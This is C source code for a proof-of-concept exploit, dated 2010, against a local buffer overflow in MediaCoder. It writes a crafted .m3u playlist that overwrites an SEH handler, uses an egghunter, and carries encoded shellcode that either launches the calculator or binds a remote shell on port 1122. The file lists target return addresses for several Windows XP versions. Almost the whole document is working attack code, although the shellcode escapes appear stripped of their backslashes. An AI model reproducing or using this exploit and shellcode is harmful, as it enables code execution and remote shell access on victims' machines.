/*
 Download: http://www.mediacoderhq.com/download.htm
 Compilation: mediac.c.......Win32(cygwin,Devcpp)
 Tested on Windows xp sp3
 Date: 24.02.2010
 1.We get control of EIP by overwriting a seh handler with pop pop retn instr and pass exception.
 2.We position shellcode where is convienient(basicly anywhere in memory).
 3.We position a egghunter at the top of the stack frame and we overwrite EIP with a jmp instr to land and execute it.
 Next it will search memory for our shellcode and execute it succesfully.
 Video here: http://www.youtube.com/watch?v=S1nAWuFzyGE
 */
#include<stdio.h>
#include<getopt.h>

#define pausescreen() getchar()
#define FOR(i,a,b) for(i=a;i<b;++i)
#define IFeq(a,b) if(a==b)
#define IFless(a,b) if(a<b)
#define IFgreat(a,b) if(a>b)
#define IFneq(a,b) if(a!=b)  
#define IFnot(a) if(!a)
#define split(s) exit(s)
#define R return
#define nul NULL
#define VER             "0.7.3.4605"
#define POCNAME         "MediaCoder local buffer overflow exploit"
#define AUTHOR          "fl0 fl0w"
#define BUFFSIZE 0x1869F
#define NSEH_OFFSET 0x2FC
#define NOP "x90x90x90x90x90"  
            "x90x90x90x90x90"  
            "x90x90x90x90x90"  
            "x90x90x90x90x90" 
#define size(a) strlen(a)    
#define CLEAN(a) free(a)          
        typedef char i8;
        typedef short i16;
        typedef int i32;
        typedef long i64;
        typedef const int ci32;
        enum{True=1,False=0,Error=-1};
   void print(i8*);
   void gen_random(i8*,const int);
   void exploit(i8*,i8**); 
   unsigned int getFsize(FILE*,i8*);
   void printshell();
   void printret();
   void print(i8*);
   void help();
   struct {
      i8 *name;
      i32 size;
      i8 *type;  
        }shellcode[]={
        {"Calculator",343,
      "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"  
      "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
      "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
      "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
      "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
      "x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47"
      "x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48"
      "x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38"
      "x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c"
      "x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
      "x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48"
      "x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44"
      "x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48"
      "x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33"
      "x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37"
      "x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a"
      "x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b"
      "x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53"
      "x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57"
      "x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59"
      "x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56"
      "x4ex56x43x46x42x30x5a"},
      {"Bind port 1122",709,
      "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
      "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
      "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
      "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
      "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx56x4bx4e"
      "x4dx54x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx48"
      "x4ex36x46x52x46x32x4bx38x45x54x4ex53x4bx38x4ex37"
      "x45x30x4ax57x41x30x4fx4ex4bx58x4fx54x4ax31x4bx48"
      "x4fx35x42x52x41x30x4bx4ex49x34x4bx38x46x43x4bx48"
      "x41x30x50x4ex41x33x42x4cx49x49x4ex4ax46x58x42x4c"
      "x46x57x47x50x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e"
      "x46x4fx4bx33x46x45x46x32x4ax32x45x37x45x4ex4bx48"
      "x4fx55x46x32x41x50x4bx4ex48x56x4bx48x4ex50x4bx44"
      "x4bx58x4fx45x4ex31x41x30x4bx4ex43x30x4ex32x4bx58"
      "x49x38x4ex36x46x52x4ex41x41x56x43x4cx41x33x4bx4d"
      "x46x56x4bx38x43x34x42x53x4bx38x42x44x4ex30x4bx48"
      "x42x47x4ex51x4dx4ax4bx58x42x34x4ax30x50x45x4ax46"
      "x50x38x50x44x50x30x4ex4ex42x55x4fx4fx48x4dx48x56"
      "x43x55x48x36x4ax36x43x33x44x33x4ax46x47x57x43x57"
      "x44x43x4fx45x46x35x4fx4fx42x4dx4ax46x4bx4cx4dx4e"
      "x4ex4fx4bx43x42x45x4fx4fx48x4dx4fx55x49x58x45x4e"
      "x48x46x41x38x4dx4ex4ax50x44x50x45x35x4cx56x44x30"
      "x4fx4fx42x4dx4ax36x49x4dx49x50x45x4fx4dx4ax47x55"
      "x4fx4fx48x4dx43x55x43x45x43x45x43x35x43x35x43x44"
      "x43x35x43x34x43x45x4fx4fx42x4dx48x36x4ax36x46x50"
      "x44x36x48x36x43x35x49x38x41x4ex45x49x4ax36x46x4a"
      "x4cx51x42x47x47x4cx47x45x4fx4fx48x4dx4cx46x42x31"
      "x41x55x45x35x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x42"
      "x49x4ex47x45x4fx4fx48x4dx43x55x45x45x4fx4fx42x4d"
      "x4ax36x45x4ex49x44x48x58x49x54x47x55x4fx4fx48x4d"
      "x42x55x46x35x46x45x45x45x4fx4fx42x4dx43x49x4ax46"
      "x47x4ex49x47x48x4cx49x37x47x55x4fx4fx48x4dx45x35"
      "x4fx4fx42x4dx48x46x4cx46x46x46x48x36x4ax46x43x56"
      "x4dx36x49x38x45x4ex4cx36x42x35x49x45x49x32x4ex4c"
      "x49x38x47x4ex4cx56x46x34x49x58x44x4ex41x43x42x4c"
      "x43x4fx4cx4ax50x4fx44x44x4dx52x50x4fx44x54x4ex52"
      "x43x39x4dx58x4cx57x4ax53x4bx4ax4bx4ax4bx4ax4ax56"
      "x44x57x50x4fx43x4bx48x51x4fx4fx45x57x46x34x4fx4f"
      "x48x4dx4bx45x47x55x44x45x41x45x41x35x41x45x4cx56"
      "x41x50x41x45x41x55x45x55x41x55x4fx4fx42x4dx4ax36"
      "x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx36"
      "x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx58x47x35x4ex4f"
      "x43x58x46x4cx46x36x4fx4fx48x4dx44x55x4fx4fx42x4d"
      "x4ax56x42x4fx4cx38x46x30x4fx35x43x35x4fx4fx48x4d"
      "x4fx4fx42x4dx5a" },
      {nul,0,nul}};
       struct {/*pop pop ret addr*/
       unsigned int ret;
       i8* tname;  
         }target[]={
         {0x66015926,
         "Universal(libiconv-2.dll) =>"
         },
         {0x72D115B8,
         "Windows xp sp2 en kernel32.dll =>"
         },
           {0x7C902783,
         "Windows sp3 en ntdll.dll =>"
         },
         {0x77E829EC,
         "Windows xp sp1 en =>"
         },
         {0,nul} 
         };      
  i8 egghunter[]=/*IsBadReadPtr egghunter 32 bytes*/
  "x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8"  
  "x66x6Cx30x77" //fl0w tag 
  "x8BxFAxAFx75xEAxAFx75xE7xFFxE7";   
  i8 tag[]="x66x6Cx30x77"
           "x66x6Cx30x77";                  
  i8 nseh[]="xEBx06x90x90";  
  i8 buffer[BUFFSIZE];                          
  i32 c,sh;
  i8 *filen;
  i32 k;
  unsigned int retcode,eip;
  i32 main(i32 argc,i8** argv)
  {   system("cls");
      printf("[#]%sn[#]Ver %sn[#]Author %sn",POCNAME,VER,AUTHOR);
      IFless(argc,2){
           help();
           print("Shellcode options:");
                printshell(); 
           printf("n");     
           print("Retcode options:");     
                printret();
           split(0);}
      while((c=getopt(argc,argv,"f:s:t:v"))!=-1){
         switch(c){
                  case 'f':
                         filen=optarg;
                         break;
                  case 's':
                       sh=atoi(optarg);
                       break;
                  case 't':
                       eip=atoi(optarg);
                       break;     
                  case 'v':
                       if(strcmp(argv[5],"-t")==0)
                            k=8;
                         else 
                            k=6; 
                       sscanf(argv[k],"%x",&retcode);
                       break;     
                  default:
                       help();         
                   }                                  
                                 }
    exploit(filen,argv);
    print("done!");  
    pausescreen();       
    R 0;
  }
   void exploit(i8* fname,i8** argv)
   { FILE* f=fopen(fname,"wb");
     IFnot(f){
          print("file won't write");
          split(0);    
              }
     gen_random(buffer,0x2FC);         
     memcpy(buffer+NSEH_OFFSET,nseh,4);
     if(strcmp(argv[5],"-t")==0)
     memcpy(buffer+0x300,&target[eip].ret,4);
       else
         memcpy(buffer+0x300,&retcode,4);
       
     memcpy(buffer+0x304,NOP,0x14);  
     memcpy(buffer+0x318,egghunter,size(egghunter));
     memset(buffer+0x34A,0x41,0x4D2); 
     memcpy(buffer+0x81C,tag,8);
     memcpy(buffer+0x824,shellcode[sh].type,shellcode[sh].size);
     fwrite(buffer,1,0x824+shellcode[sh].size,f); 
     fclose(f);
     CLEAN(buffer);
     printf("[#]File size is: %d bytesn",getFsize(f,fname));
        } 
   void print(i8* msg)
    {
       printf("[*]%sn",msg);
    }
      void gen_random(char *s, const int  len)
    { i32 i; 
      static const char alphanum[]= {
      "0123456789ABCDEFGHIJKLMNOPQRST"
      "UVWXYZabcdefghijklmnopqrstuvwxyz"};
      FOR(i,0,len)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }
     unsigned int  getFsize(FILE* g,i8* gname)
    {unsigned int s;
             g=fopen(gname,"rb");
             IFeq(g,NULL)
             {
             print("File error at reading");
             exit(0);
             }           
             fseek(g,0,SEEK_END);
             s=ftell(g);
             R s;}
    void printshell()
       {  
         i32 i;
         FOR(i,0,2){
          printf("t%d)%s %d bytesn",i,shellcode[i].name,shellcode[i].size); }
            }   
    void printret()
    {  i32 j;
       FOR(j,0,4){
          printf("t%d)%s 0x%xn",j,target[j].tname,target[j].ret);        
                  }
         }         
      void help()
     {  i8 h[]="***************************************************************************n"
                 "*syntax: [-f<file.m3u>] [-s<shellcode>]  [-t<target>] [-v<your target>]   *n" 
                 "*  -f      filename                                                       *n"
                 "*  -s      shellcode  to run    0 or 1                                    *n"
                 "*  -t       target                                                        *n"
                 "*  -v      your target                                                    *n"     
                 "*  example: mediacoder.exe -f vuln.m3u -s 0 -t 1                          *n"
                 "*           mediacoder.exe -f vuln.m3u -s 1 -v 0xFFFFFFFF                 *n" 
                 "*                                                                         *n"
                 "*                                                                         *n"
                 "***************************************************************************n";
          printf("%s",h);}